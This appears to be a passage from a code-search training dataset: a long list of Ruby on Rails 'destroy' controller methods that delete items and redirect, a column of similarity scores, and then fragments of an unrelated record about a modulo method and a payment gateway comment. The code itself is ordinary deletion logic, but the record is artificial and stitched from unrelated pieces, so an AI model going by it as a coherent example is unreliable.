"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url}\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = @client.items.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully removed from Inventory.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n# @item = Item.get(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to({action: :index}, notice: 'Item was successfully deleted.') }\n format.json { head :ok }\n end\n end",
"def destroy\n @apiv1_item.destroy\n respond_to do |format|\n format.html { redirect_to apiv1_items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = @user.items.find(params[:id])\n @item.destroy\n\n\n respond_to do |format|\n format.html { redirect_to user_items_path(@user) }\n format.json { head :no_content }\n end\n end",
"def destroy\n item = @item.name\n @item.deleted = true\n @item.deleted_at = Time.now\n @item.save\n\n respond_to do |format|\n format.html { redirect_to items_url, notice: \"#{item} was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item ||= Item.find_by_id_or_name(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to '/items', notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to tasks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def delete_item\n item_id = params[\"item_id\"]\n\n item = TextItem.find_by_id(item_id)\n item = Image.find_by_id(item_id) if item.nil?\n item = Collection.find_by_id(item_id) if item.nil?\n render_json :status => :not_found, :messages => \"Could not find the item with id #{item_id}.\" and return if item.nil?\n\n if item.class == Collection\n if params[\"id\"].nil?\n render_json :status => :bad_request, :messages => \"Can't delete a collection reference without providing the parent collection id. Please use the longer url for item deletion.\" and return\n end\n collection = Collection.find_by_id(params[\"id\"])\n else\n collection = Ownership.find_by_item_id(item_id).parent\n end\n;\n render_json :status => :not_found, :messages => \"Could not find parent collection for the item.\" and return if (collection.nil?)\n render_json :status => :forbidden, :messages => \"The user is not allowed to delete from this collection.\" and return if (!collection.delete?(@user, @client))\n\n collection.delete_item(item_id)\n render_json :entry => {} and return\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to lists_url }\n format.json { head :ok }\n end\n end",
"def destroy\n render status: 200, json: @request_item.destroy\n end",
"def delete_item(item)\n @get_items.delete(item)\n end",
"def destroy\n @item = current_user.items.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def item_destroy\n @item = Item.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to item_index_path, notice: 'O item foi removido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_item = Admin::Item.find(params[:id])\n @admin_item.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_item = Admin::Item.find(params[:id])\n @admin_item.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_path, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: '削除に成功しました。' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7906849",
"0.76885504",
"0.7604411",
"0.7585917",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.7547388",
"0.7539847",
"0.7528851",
"0.7509601",
"0.7498011",
"0.74881107",
"0.74881107",
"0.74881107",
"0.74881107",
"0.74881107",
"0.74881107",
"0.74881107",
"0.74881107",
"0.74881107",
"0.74881107",
"0.7458705",
"0.7455512",
"0.7431493",
"0.7417056",
"0.74064195",
"0.73827004",
"0.73556334",
"0.73521996",
"0.7334829",
"0.7322859",
"0.7318489",
"0.7316946",
"0.7299613",
"0.72877073",
"0.7247646",
"0.7245776",
"0.7244305",
"0.7227808",
"0.7223437",
"0.7196988",
"0.7196988",
"0.7196767",
"0.7196767",
"0.7196767",
"0.7196767",
"0.7196767",
"0.7196767",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196451",
"0.7195314"
] |
0.0
|
-1
|
Return a modulo function
|
def modulo(other)
Modulo.new(self, other)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def modulo(p0) end",
"def modulo(arg0)\n end",
"def modulo(arg0)\n end",
"def my_modulo(dividend, divisor)\r\n # your code goes here\r\n # use of modulo operator\r\n\r\n dividend % divisor\r\nend",
"def mod(first_number, second_number)\n first_number % second_number\nend",
"def remainder(val); end",
"def fizzbuzz_without_modulo\n \nend",
"def modulo(other)\n self % other\n end",
"def modular_function\n num_1 % num_2\n return num_1 % num_2\nend",
"def fizzbuzz_without_modulo\nend",
"def fizzbuzz_without_modulo\nend",
"def modulo_of(fraction); end",
"def mod(n, m)\n return ((n % m) + m) % m\nend",
"def remainder(p0) end",
"def modulus(d, e)\n puts \"MODULUS #{d} % #{e}\"\n return d % e\nend",
"def modulo(dividend, divisor)\n puts \"#{dividend} % #{divisor} = #{dividend.modulo(divisor)}\\n\"\nend",
"def divmod(val); end",
"def func_mod(args)\n p1 = _eval(car(args))\n p2 = _eval(car(cdr(args)))\n\n if p1.type != LObject::OBJ_INTEGER or p2.type != LObject::OBJ_INTEGER\n if @lint\n Error.warn(\"warning: modulo with a non integer operand\")\n end\n return @o_man.nil\n end\n\n p3 = @o_man.new_object(LObject::OBJ_INTEGER)\n if p2.value.i == 0\n if @lint\n Error.warn(\"warning: modulo by zero\")\n end\n p3.value.i = 0\n else\n p3.value.i = p1.value.i % p2.value.i\n end\n\n return p3\n end",
"def mod(num1, num2)\n num2.to_f % num1.to_f;\nend",
"def divmod(p0) end",
"def remainder(arg0)\n end",
"def modulo(x, y)\n if y == 0\n return \"Psst. You can't divide by zero. Please try again.\"\n else\n return x % y\n end\nend",
"def mod11(number); end",
"def divmod(arg0)\n end",
"def divmod(arg0)\n end",
"def modulo(y)\n mod(y, ZERO)\n end",
"def modulus(a, b)\n return \"If you divide #{a} and #{b} you will get the remainer #{a%b}.\"\nend",
"def mod(a, b)\n a % b\n c = a % b\n puts \" the remainder of #{a} divided by #{b} is #{c}\"\nreturn c\nend",
"def odd_even(number)\n # Modulo Operator\n return number % 2\nend",
"def modulus\n\tputs (5%3)\n\tputs ( -5 % 3)\n\tputs (5 % 3)\n\tputs (-5 % -3)\n\nend",
"def get_remainder(num1,num2)\n num1%num2\nend",
"def s1 number\n number % 2\nend",
"def inv_mod x,n\n d,r,s = gcd2 x,n\n if d==1\n r % n\n else\n 0\n end\nend",
"def modulus(v)\n @modulus = v\n end",
"def s1 num\n\tnum % 2\nend",
"def no_modulo(i_dividend, i_divisor)\n a = i_dividend / i_divisor\n b = a * i_divisor\n c = i_dividend - b\nend",
"def divisible_by(number, div_by)\n number % div_by == 0\nend",
"def mod_inverse(n, divisor)\n\tfast_exp_mod(n, divisor - 2, divisor)\nend",
"def is_divisible_by(divisor)\n -> n { (n % divisor).zero? }\nend",
"def mod\n x, y = stack.pop(2)\n push x % y\n end",
"def inverse_modulo(n)\n\t\treturn nil unless self.gcd(n) == 1\n\t\t(n.extended_gcd(self).last) % n\n\tend",
"def f(n,m)\n array = [*1..n]\n array.inject(0) do |result, int|\n result += int % m\n end\nend",
"def pc_int_inv(a,mod=12)\n return (12-a)%mod\n end",
"def mod(signal)\n self.class.new(self, signal) { |a, b| a % b }\n end",
"def on_mod(ast_node, context)\n left, right = *ast_node\n\n return on_call_number(context, left) % on_call_number(context, right)\n end",
"def saveThePrisoner(n, m, s)\n mod = (m % n == 0) ? n : (m % n)\n return ((mod + s -1) % n == 0) ? n : (mod + s -1) % n\n\nend",
"def int_remainder_without_modulo(i_dividend, i_divisor)\r\n # take the remainder of the integers => .6\r\n # multiply that remainder by i_divisor => .6*5 = 3.0\r\n # convert the float to an integer\r\n x = dec_remainder_of_two_integers(i_dividend, i_divisor)\r\n y = x * (i_divisor)\r\n y.to_i\r\nend",
"def solve(a,b,n)\n (b*a.inverse_modulo(n)) % n\nend",
"def invmod(e, et)\n g, x = extended_gcd(e, et)\n if g != 1\n raise 'The maths are broken!'\n end\n x % et\nend",
"def invmod(e, et)\n g, x = extended_gcd(e, et)\n if g != 1\n raise 'The maths are broken!'\n end\n x % et\nend",
"def modpow(a, x, mod)\n return 1 if x == 0\n return a if x == 1\n half = modpow(a, x/2, mod)\n val = half*half\n val *= a if x.odd?\n val % mod\nend",
"def saveThePrisoner(n, m, s)\n res = ((m - 1) + s) % n\n res == 0 ? n : res \nend",
"def divisible_by number, divisor\n number % divisor == 0\n end",
"def mod(x, y)\n raise NotImplementedError\n end",
"def use?(i)\n # return true if i is a multiple of 3 or of 5\n i.remainder(3) == 0 || i.remainder(5) == 0\nend",
"def es_par? (numero)\n numero % 2 == 0\nend",
"def is_odd_no_modulo?(number)\n float = number / 2.0\n float != float.to_i.to_f \nend",
"def div_gen(x)\r\n\treturn lambda {|y| return y/x}\r\nend",
"def inverse(n, mod)\r\n\t\tu, _, d = extended_gcd(n, mod)\r\n\r\n\t\traise ArgumentError, 'n and mod must be reratively prime.' unless 1 == d\r\n\r\n\t\treturn u % mod\r\n\tend",
"def raiseToModulus a, b, n\n b < 0 and raise ArgumentError, \"negative exponent\"\n prod = 1\n a %= n\n until b.zero? do\n if b.odd?\n prod = (prod * a) % n\n end\n b /= 2\n a = (a ** 2) % n\n end\n prod\nend",
"def raiseToModulus a, b, n\n b < 0 and raise ArgumentError, \"negative exponent\"\n prod = 1\n a %= n\n until b.zero? do\n if b.odd?\n prod = (prod * a) % n\n end\n b /= 2\n a = (a ** 2) % n\n end\n prod\nend",
"def divisor_plus_remainder(big_int, small_int)\n big_int / small_int + big_int % small_int\nend",
"def remainder(val)\n a, b = self, val\n b = b.exchange_to(a.currency) if b.is_a?(Money) and a.currency != b.currency\n\n a_sign, b_sign = :pos, :pos\n a_sign = :neg if a.cents < 0\n b_sign = :neg if (b.is_a?(Money) and b.cents < 0) or (b < 0)\n\n return a.modulo(b) if a_sign == b_sign\n a.modulo(b) - (b.is_a?(Money) ? b : Money.new(b, a.currency))\n end",
"def is_odd_using_remainder(int)\n int.remainder(2).abs == 1\nend",
"def n_mod_m x, y\n\tif x < y \n\t\treturn x\n\tend\n\tuntil x < y do\n\t\tx = x - y \n\tend\n\tx\nend",
"def fastexp_mod x,k,n\n if k<0\n throw :error\n elsif k==0\n 1\n elsif (k%2==0)\n fastexp_mod (x*x)%n, k/2, n\n else\n x*(fastexp_mod (x*x)%n, k/2, n) % n\n end\nend",
"def is_odd_no_modulo?(number)\n float = number / 2.0\n if float == float.to_i.to_f\n puts \"#{number} is even.\"\n else\n puts \"#{number} is odd.\"\n end\nend",
"def lpf (a)\r\n f = 3\r\n while (a % 2 == 0) && (a > 2)\r\n a /= 2\r\n end\r\n if a == 2\r\n return a\r\n end\r\n while f <= a\r\n if a % f == 0\r\n a /= f\r\n else\r\n f += 2\r\n end\r\n end\r\n return f\r\nend",
"def secret f\n f.mod_exp(self.x, self.p)\n end",
"def my_func(f)\n\t(f - 32) * 5/9\nend",
"def modpow(a, n, m)\n r = 1\n while true\n r = r * a % m if n[0] == 1\n n >>= 1\n return r if n == 0\n a = a * a % m\n end\n end",
"def my_remainder(a, b)\n\treturn nil if a == 0 || b == 0\n\treturn a.abs % b.abs if a.abs >= b.abs\n\treturn b.abs % a.abs if b.abs > a.abs\nend",
"def by_mod\n l = self\n if (l > Math::PI)\n while (l > Math::PI)\n l = l - 2*Math::PI\n end\n else\n while (l < -Math::PI)\n l = l + 2*Math::PI\n end\n end\n l\n end",
"def fizzbuzz_without_modulo\n ints = []\n for i in 1..50\n ints.push(i)\n end\n\n (1..100).each do |x|\n if ints.include?(x/5.0)\n puts(ints.include?(x/3.0) ? 'fizzbuzz' : 'fizz')\n else\n puts(ints.include?(x/3.0) ? 'buzz' : x)\n end\n end\nend",
"def modX(poly, mod)\n coefs = poly.coefs.dup\n coefs = coefs.map! {|x| x % mod}\n Polynomial[coefs]\n end",
"def %(other)\n divmod(other).last\n end",
"def mod(interpreter)\n stack = interpreter.stack\n a = stack.pop\n b = stack.pop\n stack.push(b%a) if a && b\n end",
"def get_private(phi, e)\n (2...phi).find {|d| e*d % phi == 1}\nend",
"def kidmod10(base); end",
"def divisible?(number, divisor)\n number % divisor == 0\nend",
"def divisor_game(n)\n n%2==0\nend",
"def divisible_by(numbers, divisible)\n divisible_number = numbers.select{ |x| x % divisible == 0 }\n divisible_number == 0 ? 0 : divisible_number \nend",
"def odd(int)\n int % 2 == 1\nend",
"def calculated(number)\n (2..(number/2)).each { |i| return i if number%i == 0 }\n number\nend",
"def is_odd?(number)\n number.remainder(2) != 0\nend",
"def fizz_buzz number \n#prints numbers from 1 to 200\n #Modulo\n if number % 3 == 0 && number % 5 == 0\n 'FizzBuzz'\n elsif number % 3 == 0\n 'Fizz'\n elsif number % 5 == 0\n 'Buzz'\n else\n return number\n end\n\nend",
"def modulus\n distance_to(origin)\n end",
"def number_is_divisible_by?(number, divisor)\n number % divisor == 0\nend",
"def buzz(int)\n int % 5 == 0\nend",
"def is_divisor?(number, i) \n number % i == 0\nend",
"def this_is_also_odd?(param_integer)\n param_integer.remainder(2) != 0\nend",
"def remainder(v)\n @remainder = v\n end",
"def fizzbuzz_without_modulo\n please enter a number\n puts \"Please enter a whole number, no decimals\"\n input = gets.chomp.to_i\n ######################### Uncomment this to TEST ALL 1-100\n #100.times do |i|\n # input = i\n #########################################\n #Work around: if #.0/# - #/# > 0\n #if multiple of 3 or 5, fizzbuzz\n if (input/3.0) - (input/3) == 0 && (input/5.0) - (input/5) == 0\n puts \"fizzbuzz\"\n #if multiple of 3, fizz\n elsif\n (input/3.0) - (input/3) == 0\n puts \"fizz\"\n #if multiple of 5, buzz\n elsif\n (input/5.0) - (input/5) == 0\n puts \"buzz\"\n else puts input.to_s\n end\n #########################################\n # end\nend",
"def modpow( base, exponent, modulus )\n result = 1\n while exponent > 0\n result = ( base * result ) % modulus unless ( ! exponent.bit_set? 0 )\n base = ( base * base ) % modulus\n exponent >>= 1\n end\n result\n end",
"def modpow( base, exponent, modulus )\n result = 1\n while exponent > 0\n result = ( base * result ) % modulus unless ( ! exponent.bit_set? 0 )\n base = ( base * base ) % modulus\n exponent >>= 1\n end\n result\n end",
"def normalize(value, mod, unit)\n value = value % mod if (mod && mod > 0) ;\n remain = 0 ;\n remain = value % unit if (unit && unit > 0) ;\n\n return value - remain ;\n end",
"def %(rvalue)\n values = coerce(rvalue)\n return ( values[1] % values[0])\n end",
"def divisable_by_given?(number, given)\n number % given == 0\n end",
"def is_odd?(number)\n number.remainder(2).abs > 0\nend",
"def mr_expmod(base, exp, m)\n if (exp % 2 == 0) && exp != 0\n x = mr_expmod(base, (exp/2), m)\n square = (x**2) % m\n (square == 1) && (x != 1) && (x != (m-1)) ? (return 0) : (return square)\n elsif exp != 0\n x = mr_expmod(base, (exp-1), m)\n return ((base * x) % m)\n else\n return 1\n end\nend"
] |
[
"0.8614408",
"0.8378381",
"0.8378381",
"0.8089884",
"0.7910156",
"0.78237987",
"0.77189964",
"0.7706136",
"0.7682447",
"0.7646019",
"0.7646019",
"0.7623794",
"0.7603585",
"0.75402606",
"0.7528216",
"0.75103134",
"0.7406739",
"0.7397801",
"0.73092854",
"0.7268315",
"0.7217502",
"0.7193508",
"0.71592504",
"0.71063757",
"0.71063757",
"0.709425",
"0.70842725",
"0.7080624",
"0.69950575",
"0.6986542",
"0.6971408",
"0.6922595",
"0.6865689",
"0.6715678",
"0.66958547",
"0.66684955",
"0.66281974",
"0.6620844",
"0.6615242",
"0.6569839",
"0.6552737",
"0.6522544",
"0.64888865",
"0.6473432",
"0.643712",
"0.6404596",
"0.63782114",
"0.632031",
"0.6313357",
"0.6313357",
"0.6312737",
"0.6280532",
"0.62598795",
"0.62476027",
"0.62037593",
"0.61942464",
"0.61676776",
"0.61006224",
"0.60800844",
"0.60680544",
"0.60680544",
"0.6056747",
"0.6048639",
"0.604538",
"0.60442823",
"0.6020702",
"0.6009543",
"0.5981353",
"0.5979808",
"0.5976219",
"0.596191",
"0.5959179",
"0.59557885",
"0.59286785",
"0.5928296",
"0.5925435",
"0.5915194",
"0.5910678",
"0.5909631",
"0.5884748",
"0.5876725",
"0.5869749",
"0.58515114",
"0.583537",
"0.5833588",
"0.58319235",
"0.5813567",
"0.5809402",
"0.579411",
"0.57888734",
"0.5785986",
"0.5764609",
"0.57608926",
"0.57577205",
"0.57577205",
"0.5723817",
"0.5720254",
"0.5712232",
"0.57091737",
"0.5705537"
] |
0.6674571
|
35
|
print the return methods
|
def cube(num)
return num * num * num #this is an official return statement
# after return, it will break and jump out from the method
# nothing after it wiil be executed
8
puts "print this line"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def print_method(*) end",
"def print\n end",
"def print\n\t\tputs name + \" \" + className + \" says \" + call\n\tend",
"def print\r\n\t\tputs name + \" \" + className + \" says \" + call\r\n\tend",
"def print\n\n end",
"def print\n end",
"def print\n end",
"def print\n end",
"def display_method_list\n end",
"def print\n\t\tputs name + ' ' + className + \" just \" + move + \" and said \" + call\n\tend",
"def print\r\n puts name + \" \" + className + \" says \" + \"\\\"\" + call + \"\\\"\"\r\n end",
"def methods() end",
"def show_methods(klass)\n \t\tputs Object.const_get(klass).methods.inspect\n\tend",
"def print_me\n \"I'm printing the return value\"\nend",
"def display_method_info\n end",
"def print\r\n puts self.output\r\n end",
"def print\n results :print => true\n end",
"def print\n return ''\n end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def print_class(*) end",
"def results\r\n print_books\r\n print_toys\r\n print_classes\r\n end",
"def output_details io, max = nil\n io.puts\n\n each_by_score max do |class_method, score, call_list|\n return 0 if option[:methods] and class_method =~ /##{@@no_method}/\n self.print_score io, class_method, score\n\n if option[:details] then\n call_list.sort_by { |k,v| -v }.each do |call, count|\n io.puts \" %6.1f: %s\" % [count, call]\n end\n io.puts\n end\n end\n # io.puts\n end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def puts\n end",
"def print_me\n \"I'm printing the return value!\"\nend",
"def print_me\n \"I'm printing the return value!\"\nend",
"def print_me\n \"I'm printing the return value!\"\nend",
"def print_me\n \"I'm printing the return value!\"\nend",
"def print_me\n \"I'm printing the return value!\"\nend",
"def inspect\n end",
"def inspect\n end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def print_me_2\n \"I'm printing the return value!!!\"\nend"
] |
[
"0.73974884",
"0.68374604",
"0.68219334",
"0.67976624",
"0.6795732",
"0.6773215",
"0.6773215",
"0.6773215",
"0.6735352",
"0.66891795",
"0.6616667",
"0.65359986",
"0.6514174",
"0.65069675",
"0.65053415",
"0.6505131",
"0.6470113",
"0.6440673",
"0.6419659",
"0.6419659",
"0.6419659",
"0.6419659",
"0.6419659",
"0.6419659",
"0.6419659",
"0.6419659",
"0.6419659",
"0.6419659",
"0.6419659",
"0.6419659",
"0.6419659",
"0.6419659",
"0.6419659",
"0.64181334",
"0.6404041",
"0.63893104",
"0.6382371",
"0.6382371",
"0.6382371",
"0.6382371",
"0.6382371",
"0.6382371",
"0.6382371",
"0.6382371",
"0.6382371",
"0.6382371",
"0.6382371",
"0.6382371",
"0.6382371",
"0.6382371",
"0.6381906",
"0.6377354",
"0.6377354",
"0.6377354",
"0.6377354",
"0.6377354",
"0.6370559",
"0.6370559",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63406587",
"0.63369924",
"0.63369924",
"0.63369924",
"0.63369924",
"0.63369924",
"0.63369924",
"0.63369924",
"0.63369924",
"0.63369924",
"0.63369924",
"0.63369924",
"0.63369924",
"0.63369924",
"0.6295278"
] |
0.0
|
-1
|
Payment gateway this account accepts payments through.
|
